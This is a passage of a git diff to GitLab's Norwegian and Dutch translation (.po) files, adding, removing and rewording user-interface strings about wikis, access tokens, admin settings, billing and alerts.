-msgstr "Prosjektene dine er fullt oppdatert! Strålende jobbet!"
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr "Oppdatert"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Oppdatert %{updated_at} av %{updated_by}"
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr "Oppdateringer"
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr "Brukeren ble vellykket fjernet fra prosjektet."
msgid "User was successfully updated."
msgstr "Brukeren ble vellykket oppdatert."
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr "Valideringer mislyktes."
msgid "Value"
msgstr "Verdi"
-msgid "Value Stream"
-msgstr "Verdistrøm"
-
msgid "Value Stream Analytics"
msgstr "Verdistrøm-analyse"
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr "Diverse innstillinger som påvirker GitLab-ytelsen."
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "Verifikasjonsinformasjon"
-
msgid "Verification status"
msgstr "Verifiseringsstatus"
@@ -36079,6 +35881,9 @@ msgstr "Vis full kontrollpanel"
msgid "View full log"
msgstr "Vis full logg"
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "Vis gruppeetiketter"
@@ -36097,9 +35902,6 @@ msgstr "Vis den i GitLab"
msgid "View job"
msgstr "Se stilling"
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr "Vis jobblogg"
@@ -36133,6 +35935,9 @@ msgstr "Vis ytelseskontrollpanelet."
msgid "View project"
msgstr "Vis prosjekt"
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "Vis prosjektstempler"
@@ -36202,7 +36007,10 @@ msgstr "Ukjent"
msgid "Visit settings page"
msgstr "GÃ¥ til innstillingssiden"
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,8 +36151,8 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr "ugyldig sakslenke eller ID"
-msgid "VulnerabilityStatusTypes|All"
-msgstr "Alle"
+msgid "VulnerabilityStatusTypes|All statuses"
+msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "Bekreftet"
@@ -36475,6 +36283,9 @@ msgstr "Advarsel:"
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr "Velkommen til den guidede GitLab-turen"
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr "Hva leter du etter?"
@@ -36784,6 +36604,9 @@ msgstr "Hva beskriver deg best?"
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr "Du har avvist invitasjonen om å bli med i %{title} %{name}."
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr "Du må oppgi et gjeldende gyldig passord"
msgid "You must provide your current password in order to change it."
msgstr "Du må oppgi ditt nåværende passord for å kunne endre den."
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr "DevOps-rapporten din gir en oversikt over hvordan du bruker GitLab fra et funksjonsperspektiv. Se hvordan du ligger an sammenlignet med andre organisasjoner, oppdag funksjoner du ikke bruker, og lær beste praksis gjennom blogginnlegg og rapporter."
@@ -37809,18 +37629,12 @@ msgstr "Din lisens"
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr "Dine prosjekter (standard)"
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "SSH-nøklene dine (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr "Din gjøremålsliste"
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr "Din kommentar vil bli forkastet."
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr "Din profil"
@@ -38007,6 +37824,9 @@ msgstr "Prosjektgrensen din er %{limit} prosjekter! Kontakt administratoren din
msgid "Your projects"
msgstr "Dine prosjekter"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr "Din tilgangsforespørsel kunne ikke behandles: %{error_meesage}"
@@ -38099,6 +37919,9 @@ msgstr "tillatt å mislykkes"
msgid "already being used for another group or project %{timebox_name}."
msgstr "brukes allerede for en annen gruppe eller prosjekt %{timebox_name}."
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr "kan ikke selv bli blokkert"
msgid "cannot merge"
msgstr "kan ikke flette"
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr "%{degradedNum} degradert"
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr "laget"
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr "aktivert"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr "oppføringer kan ikke være på mer enn 255 tegn"
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] "fra %d jobb"
msgstr[1] "fra %d jobber"
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "gruppe"
@@ -39060,6 +38895,9 @@ msgstr "Flett"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Fletting mislyktes."
@@ -39096,9 +38934,6 @@ msgstr "Mer informasjon"
msgid "mrWidget|Open in Web IDE"
msgstr "Ã…pne i nett-IDE"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr "Kildegrenen har blitt slettet"
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr "må være høyere enn startdatoen"
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr "%{item}, og %{lastItem}"
msgid "on track"
msgstr "på sporet"
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr "Ã¥pen sak"
@@ -39586,6 +39427,9 @@ msgstr "etikettnavn"
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr "de(n) følgende sak(en)"
@@ -39688,6 +39532,9 @@ msgstr "vis blobben"
msgid "view the source"
msgstr "vis kilden"
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/nl_NL/gitlab.po b/locale/nl_NL/gitlab.po
index f690a97f8e1..df853742fca 100644
--- a/locale/nl_NL/gitlab.po
+++ b/locale/nl_NL/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: nl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:45\n"
+"PO-Revision-Date: 2021-07-01 21:30\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d laag"
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}Lees meer%{usage_ping_link_end} over welke informatie gedeeld wordt met GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr "Door bestanden bladeren"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
